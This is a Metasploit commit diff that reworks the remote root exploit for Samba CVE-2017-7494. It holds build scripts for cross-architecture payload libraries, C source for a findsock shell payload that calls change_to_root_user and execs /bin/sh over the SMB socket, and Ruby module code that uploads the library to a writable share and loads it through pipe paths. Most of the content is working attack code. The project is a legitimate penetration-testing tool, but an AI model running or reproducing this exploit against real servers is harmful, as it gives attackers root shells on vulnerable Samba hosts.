1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00

Rework the Samba exploit & payload model to be magic.

This commit is contained in:
HD Moore 2017-05-27 17:03:01 -05:00
parent 78d649232b
commit 184c8f50f1
51 changed files with 396 additions and 62 deletions

View File

@ -0,0 +1,44 @@
#!/bin/bash
build () {
CC=$1
TARGET_SUFFIX=$2
CFLAGS=$3
echo "[*] Building for ${TARGET_SUFFIX}..."
for type in {shellcode,system,findsock}
do ${CC} ${CFLAGS} -Wall -Werror -fPIC samba-root-${type}.c -shared -o samba-root-${type}-${TARGET_SUFFIX}.so
done
}
rm -f *.o *.so *.gz
# x86
build "gcc" "x86_64" "-m64"
build "gcc" "x86" "-m32"
# ARM
build "arm-linux-gnueabi-gcc-5" "armel" "-march=armv5 -mlittle-endian"
build "arm-linux-gnueabihf-gcc-5" "armhf" "-march=armv7 -mlittle-endian"
build "aarch64-linux-gnu-gcc-4.9" "aarch64" ""
# MIPS
build "mips-linux-gnu-gcc-5" "mips" ""
build "mipsel-linux-gnu-gcc-5" "mipsel" ""
build "mips64-linux-gnuabi64-gcc-5" "mips64" ""
build "mips64el-linux-gnuabi64-gcc-5" "mips64el" ""
# SPARC
build "sparc64-linux-gnu-gcc-5" "sparc64" ""
build "sparc64-linux-gnu-gcc-5" "sparc" "-m32"
# PowerPC
build "powerpc-linux-gnu-gcc-5" "powerpc" ""
build "powerpc64-linux-gnu-gcc-5" "powerpc64" ""
build "powerpc64le-linux-gnu-gcc-4.9" "powerpc64le" ""
# S390X
build "s390x-linux-gnu-gcc-5" "s390x" ""
gzip -9 *.so
rm -f *.o *.so

View File

@ -0,0 +1,21 @@
#!/bin/bash
# Assume x86_64 Ubuntu 16.04 base system
apt-get install build-essential \
gcc-5-multilib \
gcc-5-multilib-arm-linux-gnueabi \
gcc-5-multilib-arm-linux-gnueabihf \
gcc-5-multilib-mips-linux-gnu \
gcc-5-multilib-mips64-linux-gnuabi64 \
gcc-5-multilib-mips64el-linux-gnuabi64 \
gcc-5-multilib-mipsel-linux-gnu \
gcc-5-multilib-powerpc-linux-gnu \
gcc-5-multilib-powerpc64-linux-gnu \
gcc-5-multilib-s390x-linux-gnu \
gcc-5-multilib-sparc64-linux-gnu \
gcc-4.9-powerpc64le-linux-gnu \
gcc-4.9-aarch64-linux-gnu
if [ ! -e /usr/include/asm ];
then ln -sf /usr/include/asm-generic /usr/include/asm
fi

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,55 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <string.h>
extern bool change_to_root_user(void);
// Samba 4 looks for samba_init_module
int samba_init_module(void)
{
char *args[2] = {"/bin/sh", 0};
struct sockaddr_in sa;
socklen_t sl = sizeof(sa);
int s;
unsigned char buff[] = {
0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42,
0xa2, 0x39, 0x00, 0x00, 0xc0, 0x88, 0x03, 0xc8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x64, 0x7e,
0x64, 0x00, 0x8c, 0x00, 0x00, 0x00, 0x00
};
change_to_root_user();
for (s=4096; s>0; s--) {
// Skip over invalid sockets
if (getsockname(s, (struct sockaddr *)&sa, &sl) != 0)
continue;
// Skip over non internet sockets
if (sa.sin_family != AF_INET)
continue;
// Send a semi-valid SMB response to simplify things
send(s, buff, sizeof(buff), 0);
// Duplicate standard input/output/error
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execve(args[0], args, NULL);
}
return 0;
}
// Samba 3 looks for init_samba_module
int init_samba_module(void) { return samba_init_module(); }

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

File diff suppressed because one or more lines are too long

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

File diff suppressed because one or more lines are too long

View File

@ -38,18 +38,32 @@ class MetasploitModule < Msf::Exploit::Remote
'DisableNops' => true
},
'Platform' => 'linux',
#
# Targets are currently limited by platforms with ELF-SO payload wrappers
#
'Targets' =>
[
[ 'Automatic (Interact)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'
}
}
}
],
[ 'Automatic (Command)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
#
# Not ready yet
# [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
# [ 'Linux MIPS', { 'Arch' => MIPS } ],
[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
[ 'Linux PPC', { 'Arch' => ARCH_PPC } ],
[ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],
[ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
],
'DefaultOptions' =>
{
@ -58,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'Privileged' => true,
'DisclosureDate' => 'Mar 24 2017',
'DefaultTarget' => 1))
'DefaultTarget' => 0))
register_options(
[
@ -67,6 +81,32 @@ class MetasploitModule < Msf::Exploit::Remote
])
end
# Setup our mapping of Metasploit architectures to gcc architectures
def setup
super
@@payload_arch_mappings = {
ARCH_X86 => [ 'x86' ],
ARCH_X86_64 => [ 'x86_64' ],
ARCH_X64 => [ 'x86_64' ],
ARCH_MIPS => [ 'mips' ],
ARCH_MIPSLE => [ 'mipsel' ],
ARCH_MIPSBE => [ 'mips' ],
ARCH_MIPS64 => [ 'mips64' ],
ARCH_PPC => [ 'powerpc' ],
ARCH_PPC64 => [ 'powerpc64' ],
ARCH_PPC64LE => [ 'powerpc64le' ],
ARCH_SPARC => [ 'sparc' ],
ARCH_ARMLE => [ 'armel', 'armhf' ],
ARCH_AARCH64 => [ 'aarch64' ],
#
# Missing from Rex::Arch
# ARCH_MIPS64LE = 'mips64le',
# ARCH_SPARC64 = 'sparc64',
#
}
end
# List all top-level directories within a given share
def enumerate_directories(share)
begin
self.simple.connect("\\\\#{rhost}\\#{share}")
@ -89,6 +129,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
# Detemrine whether a directory in a share is writeable
def verify_writeable_directory(share, directory="")
begin
simple.connect("\\\\#{rhost}\\#{share}")
@ -112,19 +153,13 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
# Call NetShareGetInfo to retrieve the server-side path
def find_share_path
share_info = smb_netsharegetinfo(@share)
share_info[:path].gsub("\\", "/").sub(/^.*:/, '')
end
def probe_module_path(path, simple_client=self.simple)
begin
simple_client.create_pipe(path)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Probe: #{path}: #{e}")
end
end
# Crawl top-level directories and test for writeable
def find_writeable_path(share)
subdirs = enumerate_directories(share)
return unless subdirs
@ -141,6 +176,7 @@ class MetasploitModule < Msf::Exploit::Remote
nil
end
# Locate a writeable directory across identified shares
def find_writeable_share_path
@path = nil
share_info = smb_netshareenumall
@ -158,6 +194,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
# Locate a writeable share
def find_writeable
find_writeable_share_path
unless @share && @path
@ -167,7 +204,8 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
end
def upload_payload
# Store the wrapped payload into the writeable share
def upload_payload(wrapped_payload)
begin
self.simple.connect("\\\\#{rhost}\\#{@share}")
@ -175,9 +213,7 @@ class MetasploitModule < Msf::Exploit::Remote
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
wfd = simple.open(filename, 'rwct')
wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,
payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
)
wfd << wrapped_payload
wfd.close
@payload_name = random_filename
@ -194,23 +230,172 @@ class MetasploitModule < Msf::Exploit::Remote
return true
end
def find_payload
# Retrieve the server-side path of the share like a boss
print_status("Retrieving the remote path of the share '#{@share}'")
share_path = find_share_path
# Try both pipe open formats in order to load the uploaded shared library
def trigger_payload
target = [share_path, @path, @payload_name].join("/").gsub(/\/+/, '/')
target = [@share_path, @path, @payload_name].join("/").gsub(/\/+/, '/')
[
"\\\\PIPE\\" + target,
target
].each do |tpath|
print_status("Loading the payload from server-side path #{target}...")
simple.connect("\\\\#{rhost}\\IPC$")
print_status("Loading the payload from server-side path #{target} using #{tpath}...")
# The first method works against Samba 3.x
probe_module_path("\\\\PIPE\\" + target)
smb_connect
# The second method works against Samba 4.x
probe_module_path(target)
# Try to execute the shared library from the share
begin
simple.client.create_pipe(tpath)
probe_module_path(tpath)
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
# Common errors we can safely ignore
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
# Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded
if e.error_code == 0xc0000039
print_good("Probe response indicates the interactive payload was loaded...")
smb_shell = self.sock
self.sock = nil
remove_socket(sock)
handler(smb_shell)
return true
else
print_error(" >> Failed to load #{e.error_name}")
end
end
disconnect
end
false
end
# Use fancy payload wrappers to make exploitation a joyously lazy exercise
def cycle_possible_payloads
template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-7494")
template_list = []
template_type = nil
template_arch = nil
# Handle the generic command types first
if target.arch.include?(ARCH_CMD)
template_type = target['Interact'] ? 'findsock' : 'system'
all_architectures = @@payload_arch_mappings.values.flatten.uniq
# Prioritize the most common architectures first
%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
template_list << all_architectures.delete(t_arch)
end
# Queue up the rest for later
all_architectures.each do |t_arch|
template_list << t_arch
end
# Handle the specific architecture targets next
else
template_type = 'shellcode'
target.arch.each do |t_name|
@@payload_arch_mappings[t_name].each do |t_arch|
template_list << t_arch
end
end
end
# Remove any duplicates that mau have snuck in
template_list.uniq!
# Cycle through each template and yield
template_list.each do |t_arch|
data = ''
::File.open(File.join(template_base, "samba-root-#{template_type}-#{t_arch}.so.gz"), "rb") do |fd|
data = Rex::Text.ungzip(fd.read)
end
pidx = data.index('PAYLOAD')
if pidx
data[pidx, payload.encoded.length] = payload.encoded
end
vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")
yield(data)
end
end
# Verify that the payload settings make sense
def sanity_check
if target['Interact'] && datastore['PAYLOAD'] != "cmd/unix/interact"
print_error("Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact")
print_error(" Please set PAYLOAD to cmd/unix/interact and try this again")
print_error("")
fail_with(Failure::NoTarget, "Invalid payload chosen for the interactive target")
end
if ! target['Interact'] && datastore['PAYLOAD'] == "cmd/unix/interact"
print_error("Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact")
print_error(" Please set a valid PAYLOAD and try this again")
print_error("")
fail_with(Failure::NoTarget, "Invalid payload chosen for the non-interactive target")
end
end
# Shorthand for connect and login
def smb_connect
connect
smb_login
end
# Start the shell train
def exploit
# Validate settings
sanity_check
# Setup SMB
smb_connect
# Find a writeable share
find_writeable
# Retrieve the server-side path of the share like a boss
print_status("Retrieving the remote path of the share '#{@share}'")
@share_path = find_share_path
print_status("Share '#{@share}' has server-side path '#{@share_path}")
# Disconnect
disconnect
# Create wrappers for each potential architecture
cycle_possible_payloads do |wrapped_payload|
# Connect, upload the shared library payload, disconnect
smb_connect
upload_payload(wrapped_payload)
disconnect
# Trigger the payload
early = trigger_payload
# Cleanup the payload
begin
smb_connect
simple.connect("\\\\#{rhost}\\#{@share}")
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
simple.delete(uploaded_path)
disconnect
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
end
# Bail early if our interact payload loaded
return if early
end
end
# A version-based vulnerability check for Samba
def check
res = smb_fingerprint
@ -245,8 +430,7 @@ class MetasploitModule < Msf::Exploit::Remote
return CheckCode::Safe
end
connect
smb_login
smb_connect
find_writeable_share_path
disconnect
@ -259,33 +443,4 @@ class MetasploitModule < Msf::Exploit::Remote
return CheckCode::Appears
end
def exploit
# Setup SMB
connect
smb_login
# Find a writeable share
find_writeable
# Upload the shared library payload
upload_payload
# Find and execute the payload from the share
begin
find_payload
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
end
# Cleanup the payload
begin
simple.connect("\\\\#{rhost}\\#{@share}")
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
simple.delete(uploaded_path)
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
end
# Shutdown
disconnect
end
end